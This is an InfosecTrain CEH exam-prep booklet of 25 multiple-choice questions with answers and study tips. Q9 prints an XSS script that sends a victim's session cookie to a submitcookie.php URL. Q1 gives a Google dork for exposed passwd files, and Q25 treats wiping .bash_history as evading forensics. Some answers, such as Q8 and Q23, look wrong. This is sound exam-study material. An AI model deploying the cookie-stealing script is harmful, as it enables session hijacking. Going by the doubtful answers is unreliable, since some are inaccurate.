CEH Exam Practice Questions and Answers Part - 2.pdf

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Exam Practice Questions and Answers
CEH (Certiﬁed Ethical Hacker)
Part 2
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Introduction
Think you have what it takes to become an Ethical Hacker? Think again! The
Certiﬁed Ethical Hacker (CEH) exam is not just another cybersecurity
certiﬁcation; it’s a rigorous test that challenges even the most seasoned
professionals. With 125 complex multiple-choice questions covering 20
in-depth modules, this exam is designed to push your limits in ethical hacking
techniques, reconnaissance, vulnerability exploitation, cloud computing, and
more.
But here’s the real challenge: not all topics carry the same weightage. Some
modules, like System Hacking and Reconnaissance, demand in-depth
knowledge. However, others focus on cloud security, IoT vulnerabilities, and
mobile threats, making it crucial to strategize your study plan wisely.
That’s exactly why we’ve compiled this guide, a handpicked selection of the
top CEH exam practice questions crafted to reinforce key concepts and
enhance your exam readiness. Each question is designed to mimic real exam
scenarios, providing detailed explanations and quick memory hacks to
reinforce your learning.
So, are you ready to test your skills and see if you can think like a hacker? Let’s
dive into part 2.

Q.1. A hacker uses the following Google search operator: intitle:index of
passwd to find sensitive files online. What type of attack is this?
Phishing
SQL injection
Google hacking
Cross-site scripting (XSS)
"Google = Open Book"—Hackers use search engines to find weak points.
Prevent exposure by disabling directory indexing and using robots.txt files.
STUDY TIP
Answer: C. Google hacking
Explanation: Google hacking (also called Google dorking) leverages advanced
search operators to find exposed directories, passwords, and sensitive data on
public websites.
Answer: C. Google hacking
Explanation: Google hacking (also called Google dorking) leverages advanced
search operators to find exposed directories, passwords, and sensitive data on
public websites.
CEH (Certified Ethical Hacker)
Exam Practice Questions and Answers

Q.2. A tester successfully exploits a web application vulnerability and gains
access to the backend database. What should they do next according to
ethical hacking guidelines?
Download all records for analysis
Report the vulnerability immediately
Modify database entries for testing
Leave a backdoor for future testing
Answer: B. Report the vulnerability immediately
Explanation: Ethical hacking is about responsible security testing. After
discovering a ﬂaw, the Ethical Hacker must document the issue and report it to
the organization without causing damage.
Answer: B. Report the vulnerability immediately
Explanation: Ethical hacking is about responsible security testing. After
discovering a ﬂaw, the Ethical Hacker must document the issue and report it to
the organization without causing damage.
"Find It, Report It"—Following proper responsible disclosure protects both the
hacker and the organization. Always act ethically!
STUDY TIP

Q.3. A company's security team detects repeated failed login attempts from
multiple IPs on their SSH server. What type of attack is likely happening?
SQL injection
Brute-force attack
Cross-site request forgery (CSRF)
DNS spooﬁng
Answer: B. Brute-force attack
Explanation: A brute-force attack attempts to guess passwords by
systematically trying different combinations until access is granted.
Answer: B. Brute-force attack
Explanation: A brute-force attack attempts to guess passwords by
systematically trying different combinations until access is granted.
STUDY TIP
"Slow It Down"—Implement account lockouts, CAPTCHA, and Multi-factor
Authentication (MFA) to defend against brute-force attacks.

Q.4. What is the most effective way to prevent privilege escalation attacks?
Using strong passwords
Implementing least privilege access control
Disabling unused ports
Encrypting all stored data
"Less is More"—The fewer privileges an account has, the less damage an
attacker can do!
STUDY TIP
Answer: B. Implementing least privilege access control
Explanation: Least privilege access control ensures users and applications only
have the permissions they need, reducing the risk of privilege escalation.
Answer: B. Implementing least privilege access control
Explanation: Least privilege access control ensures users and applications only
have the permissions they need, reducing the risk of privilege escalation.

Q.5. Which of the following methods is most effective for detecting and
stopping ransomware attacks?
Antivirus software
Regular data backups and endpoint detection
Disabling macros in Microsoft Ofﬁce
Changing user passwords frequently
Answer: B. Regular data backups and endpoint detection
Explanation: Ransomware protection relies on secure backups and real-time
endpoint detection to mitigate the impact of an attack.
Answer: B. Regular data backups and endpoint detection
Explanation: Ransomware protection relies on secure backups and real-time
endpoint detection to mitigate the impact of an attack.
STUDY TIP
"Backup, Detect, Protect"—Regular backups and ransomware-speciﬁc
defenses can prevent costly data loss.

Q.6. Jane, an Ethical Hacker, is testing an organization’s web server and
website for security vulnerabilities. She copied the entire website onto her
local drive to analyze its directory structure, file structure, external links,
images, and web pages. This information helps her map the website’s
directories and gather valuable insights. What attack technique did Jane use?
Web cache poisoning
Session hijacking
Website mirroring
Website defacement
Directory traversal
Answer: C. Website mirroring
Explanation: Website mirroring is the process of copying an entire website,
including its content, structure, and resources, for analysis. Ethical Hackers use
this technique to identify security flaws in web applications, while malicious
actors may use it for phishing attacks or reconnaissance.
Answer: C. Website mirroring
Explanation: Website mirroring is the process of copying an entire website,
including its content, structure, and resources, for analysis. Ethical Hackers use
this technique to identify security flaws in web applications, while malicious
actors may use it for phishing attacks or reconnaissance.
Web cache poisoning: Injects malicious content into cached responses.
Session hijacking: Steals session cookies to impersonate users.
Website mirroring: Clones a site for analysis or phishing.
Website defacement: Modifies a website’s content maliciously.
Directory traversal: Accesses restricted directories on a web server.
STUDY TIP

Q.7. Clark, a professional hacker, created and configured multiple domains
pointing to the same host, allowing him to switch quickly between domains to
evade detection. What adversary behavior does this represent?
Unspecified proxy activities
Use of command-line interface
Data staging
Use of DNS tunneling
Fast flux technique
Answer: E. Fast flux technique
Explanation: Fast flux is a technique where attackers rapidly change IP
addresses and domain associations to evade detection. By using multiple
domains pointing to the same host, attackers make it difficult for security
systems to block their malicious infrastructure. This technique is commonly
used in botnets, phishing, and malware distribution.
Answer: E. Fast flux technique
Explanation: Fast flux is a technique where attackers rapidly change IP
addresses and domain associations to evade detection. By using multiple
domains pointing to the same host, attackers make it difficult for security
systems to block their malicious infrastructure. This technique is commonly
used in botnets, phishing, and malware distribution.
Unspecified proxy activities: Uses proxy servers to mask identity.
Use of command-line interface: Executes attacks via CLI tools.
Data staging: Prepares data before exfiltrating it.
Use of DNS tunneling: Hides malicious traffic within DNS queries.
Fast flux technique: Rapidly switches domains/IPs to evade detection.
STUDY TIP

Q.8. Sam, a Penetration Tester at InfosecTrain, was assigned to perform port
scanning on a target host. He sent FIN/ACK probes, and the target host
responded with an RST packet, indicating that the port is closed. Which port
scanning technique did Sam use?
IDLE/IPID header scan
Xmas scan
ACK flag probe scan
TCP Maimon scan
FIN scan
Answer: C. ACK flag probe scan
Explanation: The ACK flag probe scan is used to determine the state of firewall
rules and identify whether ports are filtered or unfiltered. When an ACK probe
is sent:
If an RST packet is received, the port is unfiltered (closed).
If no response or an ICMP unreachable message is received, the port is filtered
(likely blocked by a firewall).
Answer: C. ACK flag probe scan
Explanation: The ACK flag probe scan is used to determine the state of firewall
rules and identify whether ports are filtered or unfiltered. When an ACK probe
is sent:
If an RST packet is received, the port is unfiltered (closed).
If no response or an ICMP unreachable message is received, the port is filtered
(likely blocked by a firewall).
IDLE/IPID header scan: Uses a “zombie” host to perform stealth scanning.
Xmas scan: Sends FIN, PSH, and URG flags; works on UNIX-based systems.
ACK flag probe scan: Identifies filtered vs. unfiltered ports.
TCP Maimon scan: Similar to FIN scan, but bypasses some firewalls.
FIN scan: Uses FIN flag to check if ports are open on UNIX systems.
STUDY TIP

Q.9. Judy created a forum where users can post comments and images. One
day, she noticed that a user was posting strange images without any
comments. Concerned, she contacts a security expert, who discovers the
following hidden code behind those images:
<script>
document.write('<img src="https://localhost/submitcookie.php?cookie=' +
escape(document.cookie) + '" />');
</script>
The code redirects the user to another site.
The code injects a new cookie into the browser.
The code is a virus that attempts to gather the user’s
username and password.
The PHP file silently executes the code and grabs the user’s
session cookie and session ID.
The code modifies the forum database to create a backdoor.
Answer: D. The PHP file silently executes the code and grabs the user’s
Explanation: The code is an example of Cross-Site Scripting (XSS). It steals the
user’s session cookies by sending them to an attacker's server
(submitcookie.php). With a stolen session cookie, an attacker can hijack the
user’s session, gaining unauthorized access to their account.
Answer: D. The PHP file silently executes the code and grabs the user’s
Explanation: The code is an example of Cross-Site Scripting (XSS). It steals the
user’s session cookies by sending them to an attacker's server
(submitcookie.php). With a stolen session cookie, an attacker can hijack the
user’s session, gaining unauthorized access to their account.

XSS Attack: Injects malicious scripts into web pages.
Session Hijacking: Steals session cookies for unauthorized access.
Mitigation: Use HTTPOnly and Secure cookie attributes, input validation, and
Content Security Policy (CSP).
Stored XSS: Malicious code is permanently stored on the site.
Reflected XSS: Malicious code is executed only when a user clicks a
crafted link.
STUDY TIP
Q.10. A hacker sends a malicious script disguised as an image file to a victim.
When the victim opens the file, their browser executes the script, stealing their
session tokens. What type of attack is this?
SQL injection
Cross-site Scripting (XSS)
Command injection
XML External Entity (XXE) attack
Answer: B. Cross-site Scripting (XSS)
Explanation: XSS attacks inject malicious scripts into web pages that execute in
the victim’s browser, allowing attackers to steal session cookies and sensitive data.
Answer: B. Cross-site Scripting (XSS)
Explanation: XSS attacks inject malicious scripts into web pages that execute in
the victim’s browser, allowing attackers to steal session cookies and sensitive data.
"Never Trust User Input"—Always validate, sanitize, and encode user input to
prevent XSS attacks!
STUDY TIP

Q.11. Which type of wireless attack involves capturing authentication
handshakes to crack Wi-Fi passwords?
Rogue access point attack
Evil twin attack
WPA2 handshake capture attack
Bluetooth snifﬁng
Answer: C. WPA2 handshake capture attack
Explanation: Attackers capture WPA2 handshake packets using tools like
Aircrack-ng and attempt to crack the Wi-Fi password through brute force.
Answer: C. WPA2 handshake capture attack
Explanation: Attackers capture WPA2 handshake packets using tools like
Aircrack-ng and attempt to crack the Wi-Fi password through brute force.
STUDY TIP
"Strong Passwords Win"—Use long, complex Wi-Fi passwords and
enable WPA3 if possible!

Q.12. Susan, a Software Developer, wants her web API to update other
applications with the latest information. She uses a user-defined HTTP
callback or push API that triggers events to supply data in real-time, allowing
users to receive instant updates. What technique is she using?
Answer: A. Webhooks
Explanation: Webhooks are event-driven HTTP callbacks that automatically
send data to other applications when a trigger event occurs. Unlike REST APIs
that require polling, webhooks push real-time updates, improving efficiency
and reducing server load.
Answer: A. Webhooks
Explanation: Webhooks are event-driven HTTP callbacks that automatically
send data to other applications when a trigger event occurs. Unlike REST APIs
that require polling, webhooks push real-time updates, improving efficiency
and reducing server load.
Webhooks
REST API
SOAP API
Web shells
Server-Sent Events (SSE)
Webhooks: Push-based, triggered by events.
REST API: Pull-based, requires periodic requests.
SOAP API: Uses XML, a more complex and strict structure.
Web shells: Malicious scripts used for remote control.
Server-Sent Events (SSE): One-way connection from server to client.
STUDY TIP

Q.13. A Red Team Tester wants to remain undetected while scanning an
internal network. Which Nmap option should they use?
-T5
-A
-sS
-sT
Answer: C. -sS
Explanation: The SYN scan (-sS) is stealthier than a full TCP connect scan
because it does not complete the three-way handshake, making it harder for
IDS/IPS systems to detect.
Answer: C. -sS
Explanation: The SYN scan (-sS) is stealthier than a full TCP connect scan
because it does not complete the three-way handshake, making it harder for
IDS/IPS systems to detect.
-T5: Too fast, easily detected. Trick: "Turbo = Trouble."
-A: Aggressive mode, loud scan. Trick: "A for Alert."
-sS: Stealthy, avoids full handshake. Trick: "Silent SYN."
-sT: Full handshake, easily logged. Trick: "T for Tracked.
STUDY TIP
"Stealth is Key"—Use SYN scans for quiet reconnaissance and avoid
detection.

Q.14. During the enumeration phase, Lawrence performs banner grabbing to
gather information such as OS details and service versions. He targets a
service running on TCP port 445. Which service did Lawrence enumerate?
Answer: D. Server Message Block (SMB)
Explanation: Server Message Block (SMB) operates on TCP port 445 and is
used for file sharing, printer access, and network communication in Windows
environments. Attackers often enumerate SMBs to extract user accounts and
shared resources as well as exploit vulnerabilities like EternalBlue.
Answer: D. Server Message Block (SMB)
Explanation: Server Message Block (SMB) operates on TCP port 445 and is
used for file sharing, printer access, and network communication in Windows
environments. Attackers often enumerate SMBs to extract user accounts and
shared resources as well as exploit vulnerabilities like EternalBlue.
Remote Procedure Call (RPC)
Telnet
Network File System (NFS)
Server Message Block (SMB)
Secure Shell (SSH)
RPC (Remote Procedure Call): Runs on port 135, used for
inter-process communication.
Telnet: Runs on port 23 and provides remote command-line access.
NFS (Network File System): Runs on port 2049, and allows file
sharing in UNIX/Linux.
SMB (Server Message Block): Runs on port 445, used for Windows
file sharing.
SSH (Secure Shell): Runs on port 22 and encrypts remote
administration sessions.
STUDY TIP

Q.15. An attacker sets up a fake Wi-Fi hotspot with a name similar to a nearby
legitimate network to trick users into connecting. What is this attack called?
DNS Spooﬁng
Evil Twin Attack
Rogue DHCP Attack
SSID Flooding
Answer: B. Evil Twin Attack
Explanation: Evil Twin attacks involve setting up a rogue wireless access point
that mimics a legitimate one, tricking users into connecting and exposing their
credentials.
Answer: B. Evil Twin Attack
Explanation: Evil Twin attacks involve setting up a rogue wireless access point
that mimics a legitimate one, tricking users into connecting and exposing their
credentials.
STUDY TIP
"Always Verify Wi-Fi"—Before connecting, verify the Wi-Fi network name
and ask IT for conﬁrmation!

Q.16. An attacker successfully installs a keylogger on a victim's machine to
capture sensitive credentials. What type of attack is this?
Spyware attack
Phishing attack
Rootkit attack
Denial-of-Service (DoS) attack
Answer: A. Spyware attack
Explanation: Spyware is malicious software designed to secretly record user
activity, such as keystrokes, and send it to attackers.
Answer: A. Spyware attack
Explanation: Spyware is malicious software designed to secretly record user
activity, such as keystrokes, and send it to attackers.
STUDY TIP
"KEY = Keep Examining Your system"—Run frequent malware scans and
avoid unknown software!

Q.17. What is the most effective way to mitigate a brute-force attack on a
login portal?
Increasing password complexity
Implementing account lockout policies
Encrypting all stored passwords
Using a VPN
Answer: B. Implementing account lockout policies
Explanation: Account lockout policies help prevent brute-force attacks by
locking accounts after a set number of failed login attempts.
Answer: B. Implementing account lockout policies
Explanation: Account lockout policies help prevent brute-force attacks by
locking accounts after a set number of failed login attempts.
STUDY TIP
"BLOCK = Brute-force Lockout On Count"—Set up MFA and lockout
policies to prevent brute-force attacks!

Q.18. Which Google advanced search operator helps an attacker find websites
similar to a specified target URL?
Answer: B. related:
Explanation: The related: operator helps find websites similar to a specified
domain. Attackers use it for competitive analysis, reconnaissance, and
expanding target scope during OSINT (Open-Source Intelligence) gathering.
Answer: B. related:
Explanation: The related: operator helps find websites similar to a specified
domain. Attackers use it for competitive analysis, reconnaissance, and
expanding target scope during OSINT (Open-Source Intelligence) gathering.
site:
related:
info:
inurl:
cache:
site: --> Searches within a specific domain (site:example.com).
related: --> Finds similar websites (related:example.com).
info: --> Displays cached pages and link details (info:example.com).
inurl: --> Finds URLs containing specific keywords (inurl:admin).
cache: --> Shows Google’s last cached version of a page
(cache:example.com).
STUDY TIP

Q.19. An attacker installs a rootkit that remains undetected in the core
components of the operating system, allowing them to maintain access to a
machine invisibly. What type of rootkit is this?
Answer: C. Kernel rootkit
Explanation: A kernel rootkit operates at the operating system’s core (kernel
level), making it extremely difficult to detect and remove. It intercepts system
calls, hides processes, and provides persistent backdoor access while
remaining invisible to antivirus software.
Answer: C. Kernel rootkit
Explanation: A kernel rootkit operates at the operating system’s core (kernel
level), making it extremely difficult to detect and remove. It intercepts system
calls, hides processes, and provides persistent backdoor access while
remaining invisible to antivirus software.
Firmware rootkit
Hypervisor rootkit
Kernel rootkit
Hardware rootkit
User-mode rootkit
Firmware rootkit: Embedded in hardware firmware (BIOS, UEFI).
Hypervisor rootkit: Runs beneath the OS, controlling it.
Kernel rootkit: Hides in the OS kernel, most stealthy.
Hardware rootkit: Resides in system hardware (chipsets).
User-mode rootkit: Runs in user space, easier to detect.
STUDY TIP

Q.20. While performing a web application scan, you want to determine the
web server version hosting the application. Using the -sV flag with Nmap, you
receive this response:
80/tcp open http-proxy Apache Server 7.1.6. What information-gathering
technique does this describe?
Answer: C. Banner grabbing
Explanation: Banner grabbing is a technique used to gather information about
a service by retrieving its version, operating system, and other metadata. The
-sV flag in Nmap is specifically used for service version detection, helping
security professionals assess potential vulnerabilities.
Answer: C. Banner grabbing
Explanation: Banner grabbing is a technique used to gather information about
a service by retrieving its version, operating system, and other metadata. The
-sV flag in Nmap is specifically used for service version detection, helping
security professionals assess potential vulnerabilities.
Dictionary attack
Brute forcing
Banner grabbing
WHOIS lookup
Passive reconnaissance
Dictionary attack: Uses a pre-compiled list of passwords for cracking.
Brute forcing: Tries all possible password combinations.
Banner grabbing: Extracts server details from response headers.
WHOIS lookup: Retrieves domain registration info.
Passive reconnaissance: Collects data without direct interaction.
STUDY TIP

Q.21. John is investigating web application firewall logs and notices an
attempt to inject the following code:
char buff[10];
buff[10] = 'a';
What type of attack is this?
Answer: C. Buffer overflow
Explanation: A buffer overflow attack occurs when a program writes data
beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to
write outside the bounds of the buffer, which can cause memory corruption,
crashes, or remote code execution.
Answer: C. Buffer overflow
Explanation: A buffer overflow attack occurs when a program writes data
beyond the allocated memory buffer. In this case, buff[10] = 'a'; attempts to
write outside the bounds of the buffer, which can cause memory corruption,
crashes, or remote code execution.
SQL injection
CSRF
Buffer overflow
XSS
Directory traversal
SQL Injection: Injects malicious SQL queries into a database.
CSRF (Cross-Site Request Forgery): Tricks users into executing unwanted
actions.
Buffer Overflow: Overwrites memory, leading to crashes or exploits.
XSS (Cross-Site Scripting): Injects malicious JavaScript into web pages.
Directory Traversal: Gains unauthorized access to system files.
STUDY TIP

Q.22. Which common files on a web server, if misconfigured, could expose
useful information such as verbose error messages to hackers?
Answer: B. php.ini
Explanation: The php.ini file controls PHP settings, including error reporting
and logging. If misconfigured, it may expose verbose error messages, file paths,
and database credentials, helping attackers exploit vulnerabilities.
Answer: B. php.ini
Explanation: The php.ini file controls PHP settings, including error reporting
and logging. If misconfigured, it may expose verbose error messages, file paths,
and database credentials, helping attackers exploit vulnerabilities.
administration.config
php.ini
httpd.conf
idq.dll
web.config
administration.config: Not a common web server config file.
php.ini: Manages PHP settings, crucial for security.
httpd.conf: Configures Apache web server settings.
idq.dll: Old IIS indexing service component.
web.config: ASP.NET configuration file, contains sensitive settings.
STUDY TIP

Q.23. If you suspect an IoT device has been compromised, which port should
you block first?
Answer: A. 48101
Explanation: Port 48101 is commonly used by IoT devices for remote access
and botnet communication. Attackers often target IoT devices for DDoS
attacks, unauthorized control, and data theft. Blocking this port can limit
attacker access.
Answer: A. 48101
Explanation: Port 48101 is commonly used by IoT devices for remote access
and botnet communication. Attackers often target IoT devices for DDoS
attacks, unauthorized control, and data theft. Blocking this port can limit
attacker access.
48101
443
80
22
23
Port 48101: Used by compromised IoT devices for C2 (Command & Control).
Port 443 (HTTPS): Encrypts web traffic, usually safe.
Port 80 (HTTP): Handles unencrypted web traffic.
Port 22 (SSH): Used for remote access, often targeted.
Port 23 (Telnet): Unsecured remote login, commonly exploited.
STUDY TIP

Q.24. Heather’s company is adopting a new cloud-hosted customer
relationship management (CRM) tool. The provider will handle hardware, OS,
software administration, patching, and monitoring, while Heather’s only task is
user account management. What type of cloud solution is this?
Answer: A. SaaS (Software as a Service)
Explanation: SaaS is a fully managed cloud solution where users access
applications over the internet without managing infrastructure, OS, or software
updates. Examples include CRM tools (e.g., Salesforce), email services (e.g.,
Gmail), and collaboration platforms (e.g., Microsoft 365).
Answer: A. SaaS (Software as a Service)
Explanation: SaaS is a fully managed cloud solution where users access
applications over the internet without managing infrastructure, OS, or software
updates. Examples include CRM tools (e.g., Salesforce), email services (e.g.,
Gmail), and collaboration platforms (e.g., Microsoft 365).
SaaS
CaaS
PaaS
IaaS
FaaS
SaaS (Software as a Service): Fully managed software, just use it.
CaaS (Container as a Service): Manages containers in the cloud.
PaaS (Platform as a Service): Provides a development environment.
IaaS (Infrastructure as a Service): Gives virtual machines & storage.
FaaS (Function as a Service): Runs serverless functions on demand.
STUDY TIP

Q.25. During a penetration test, you gained access to a user account. You
connected to your own machine via the SMB service and entered your login
and password in plaintext. Which file must you clean to remove the password?
Answer: A. .bash_history
Explanation: The .bash_history file logs previously executed commands,
including credentials entered in plaintext. Clearing or securely deleting this file
prevents password recovery by an attacker or forensic investigator.
Answer: A. .bash_history
Explanation: The .bash_history file logs previously executed commands,
including credentials entered in plaintext. Clearing or securely deleting this file
prevents password recovery by an attacker or forensic investigator.
.bash_history
.xsession-log
.bashrc
.profile
syslog
.bash_history: Stores command history, including passwords.
.xsession-log: Logs X session events, not commands.
.bashrc: Configures bash shell settings, no history.
.profile: Loads user environment variables, no history.
syslog: Stores system logs, but not user commands.
STUDY TIP

Summary
Mastering ethical hacking requires more than theoretical knowledge—it
demands hands-on experience, real-world scenarios, and continuous learning.
This guide covered top essential CEH questions, helping you understand key
security concepts such as penetration testing, malware analysis, and
cryptographic attacks.
While self-study is valuable, a structured learning approach accelerates
success. InfosecTrain’s CEH Training Course provides:
Ready to take the next step? Elevate your CEH preparation with InfosecTrain’s
CEH Training Course and become a Certified Ethical Hacker with confidence!
Enroll now! Visit www.InfosecTrain.com to learn more.
Expert-Led Training: Learn from certified CEH professionals with industry
experience.
Hands-On Labs: Gain practical skills through real-world hacking scenarios.
Exam-Focused Content: Covers the latest CEH v13 curriculum, including
updated cyber threats and ethical hacking techniques.
Flexible Learning Options: Choose from self-paced, instructor-led, or
corporate training tailored to your schedule.

Contact us
www.infosectrain.com
sales@infosectrain.com
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